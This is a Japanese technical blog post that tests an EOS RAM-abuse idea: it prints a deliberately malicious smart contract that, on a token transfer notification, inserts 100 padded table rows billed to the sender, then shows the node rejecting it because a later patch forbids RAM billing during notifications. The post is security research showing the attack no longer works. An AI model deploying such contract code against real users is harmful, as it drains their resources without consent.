LoginSignup
1
0

More than 5 years have passed since last update.

require_recipient でRAMを悪用できる?

Last updated at Posted at 2018-12-12

EOS 通知仕組み ですが、悪用されると、通知元アカウントの RAM が使い切らせる悪意行為ができそうなので、試してみます。

合约中require_recipient引发的吞噬用户RAM漏洞

悪意のスマートコントラクトソース

#include <eosiolib/eosio.hpp>
#include <eosiolib/asset.hpp>
#include <string>

using namespace eosio;
using std::string;

class[[eosio::contract]] alice : public eosio::contract{

  public:
    alice(name receiver, name code, datastream<const char *> ds) : contract(receiver, code, ds){}

    [[eosio::action]]
    void transfer(name from, name to, asset quantity, string memo) {
      print("_code : ", name{_code}, ", _self : ", name{_self});

      if (from == _self || to != _self)
      {
        return;
      }

      histories_index histories(_self, _self.value);

      for (int i = 0; i < 100; i++)
      {
        // use from as payer!!
        histories.emplace(from, [&](auto &history) {
          history.id = histories.available_primary_key();
          history.from = from;
          history.to = to;
          history.quantity = quantity;
          history.big_dummy_str = std::string("wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww");
        });
      }
    }

  private:
    struct [[eosio::table]] history
    {
      uint64_t id;
      name from;
      name to;
      asset quantity;
      string big_dummy_str;

      auto primary_key() const { return id; }
    };

    typedef eosio::multi_index<"histories"_n, history> histories_index;
};

#define EOSIO_DISPATCH_EX(TYPE, MEMBERS)                                     \
extern "C" {                                                                 \
  void apply(uint64_t receiver, uint64_t code, uint64_t action)              \
  {                                                                          \
    if (code == receiver || code == "eosio.token"_n.value)                   \
    {                                                                        \
      switch (action)                                                        \
      {                                                                      \
        EOSIO_DISPATCH_HELPER(TYPE, MEMBERS)                                 \
      }                                                                      \
      /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
    }                                                                        \
  }                                                                          \
}                                                                            \

EOSIO_DISPATCH_EX(alice, (transfer))

動作確認

コンパイルして、aliceアカウントにデプロイしておいてから、bob から aliceに送金してみます。

$ cleos push action eosio.token transfer '["bob", "alice", "12.0000 EOS", "memo"]' -p bob
Error 3100006: Subjective exception thrown during block productio

nodeos 側のログを確認してみると、下記のエラーになっていました。

error 2018-12-12T00:33:00.973 thread-0  http_plugin.cpp:580           handle_exception     ] FC Exception encountered while processing chain.push_transaction
debug 2018-12-12T00:33:00.976 thread-0  http_plugin.cpp:581           handle_exception     ] Exception Details: 3100006 subjective_block_production_exception: Subjective exception thrown during block production
Cannot charge RAM to other accounts during notify.
    {}
    thread-0  apply_context.cpp:387 update_db_usage
pending console output: _code : eosio.token, _self : alice
    {"console":"_code : eosio.token, _self : alice"}
    thread-0  apply_context.cpp:72 exec_one

結論

既に対策が取っていますね。
ソースを確認してみると、下記の PR で、対応されました。

Subjectively fail transaction if contract bills RAM to another account within a notification handler by arhag · Pull Request #5451 · EOSIO/eos

  • allow_ram_billing_in_notify というフラグを追加し、通知する時 RAM を消費することを許すかどうかを決める
  • デフォルト値が false になって、デフォルト許さないようになる
  • アクションを実行する時は、上記フラグをチェックしている
EOS_ASSERT( control.is_ram_billing_in_notify_allowed() || (receiver == act.account) || (receiver == payer) || privileged,
               subjective_block_production_exception, "Cannot charge RAM to other accounts during notify." );
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0